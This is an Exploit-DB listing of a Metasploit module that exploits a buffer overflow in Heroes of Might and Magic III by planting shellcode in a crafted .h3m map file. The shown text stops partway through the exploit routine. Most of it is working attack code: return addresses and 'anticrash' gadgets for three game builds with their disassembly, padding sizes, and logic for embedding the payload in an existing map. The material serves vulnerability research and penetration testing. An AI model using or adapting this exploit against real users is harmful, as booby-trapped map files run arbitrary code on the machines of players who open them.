Exploit-DB #37737
Description: Heroes of Might and Magic III - '.h3m' Map file Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2015-08-07
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Heroes of Might and Magic III .h3m Map file Buffer Overflow',
      'Description'    => %q{
          This module embeds an exploit into an ucompressed map file (.h3m) for
        Heroes of Might and Magic III. Once the map is started in-game, a
        buffer overflow occuring when loading object sprite names leads to
        shellcode execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pierre Lindblad', # Vulnerability discovery
          'John AAkerblom'   # Vulnerability discovery, PoC and Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '37716' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'H3 Complete 4.0.0.0  [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]',
            {
              # Two "Anticrash"-gadgets are needed or the game will crash before ret
              #
              # Anticrash1, needs to pass the following code down to final JMP:
              # MOV EAX, DWORD PTR DS : [ESI + 4] ; [Anticrash1 + 4]
              # XOR EBX, EBX
              # CMP EAX, EBX
              # JE SHORT <crash spot> ; JMP to crash if EAX is 0
              # MOV CL, BYTE PTR DS : [EAX - 1]
              # CMP CL, BL
              # JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0
              # CMP CL, 0FF
              # JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0xFF
              # CMP EDI, EBX
              # JNE <good spot> ; JMP to good spot. Always occurs if we get this far
              #
              # Summary: An address which when incremented by 4 and then dereferenced
              # leads to for example a string which is preceeded neither by a 0x00 or 0xFF
              'Anticrash1' => 0x004497D4,
              # Anticrash2, needs to return out of the following call (tricky):
              #
              # MOV EAX, DWORD PTR DS : [ECX] ; [Anticrash2]
              # CALL DWORD PTR DS : [EAX + 4] ; [[Anticrash2] + 4]
              #
              # Summary: An address which when dereferenced leads to an address that
              # when incremented by 4 and then deferenced leads to a function returning
              # without accessing any registers/memory that would cause a crash.
              'Anticrash2' => 0x006A6430,
              'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe
              'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip
            }
          ],
          [
            'HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]',
            {
              'Anticrash1' => 0x00456A48,
              'Anticrash2' => 0x006A6830,
              'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe
              'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip
            }
          ],
          [
            'Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]',
            {
              # The two anticrash gadgets are accessed in reverse order for this target,
              # meaning that the documentation above for Anticrash1 applies to Anticrash2
              # here. However, Anticrash1 here is accessed differently than the other targets.
              # Anticrash1, needs to pass the following code:
              # CMP BYTE PTR SS:[EBP+5C], 72 ; [Anticrash1 + 0x5C]
              # JNE 00591F37
              # MOV EAX,DWORD PTR SS:[EBP+38] ; [Anticrash1 + 0x38]
              'Anticrash1' => 0x00580C0F, # Coincidentally the Ret value from HD Mod target
              # Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete 4.0.0.0 target
              'Anticrash2' => 0x005CE200,
              'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe
              'Padding' => 109, # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip
              'CRC32' => 0xFEEFB9EB
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 29 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',
                      [
                        false,
                        'If file exists, exploit will be embedded' \
                          ' into it. If not, a new default h3m file where' \
                          ' it will be embedded will be created.',
                        'sploit.h3m'
                      ])
      ], self.class)
  end

  def exploit
    buf = ''

    # Load h3m into buffer from uncompressed .h3m on disk/default data
    begin
      buf << read_file(datastore['FILENAME'])
      print_status('File ' + datastore['FILENAME'] + ' exists, will embed exploit if possible')
    rescue Errno::ENOENT
      print_warning('File ' + datastore['FILENAME'] + ' does not exist, creating new file from ' \
        'default .h3m data')
      buf << make_default_h3m
    end

    # Find the object attributes array in the file by searching for a sprite name that occurs
    # as the first game object in all maps.
    objects_pos = buf.index('AVWmrnd0.def')
    if objects_pos.nil?
      print_error('Failed to find game object section in file ' + datastore['FILENAME'] + \
        '. Make sure this file is an uncompressed .h3m (and has not yet had exploit embedded)')
      return
    end

    # Entries in the objects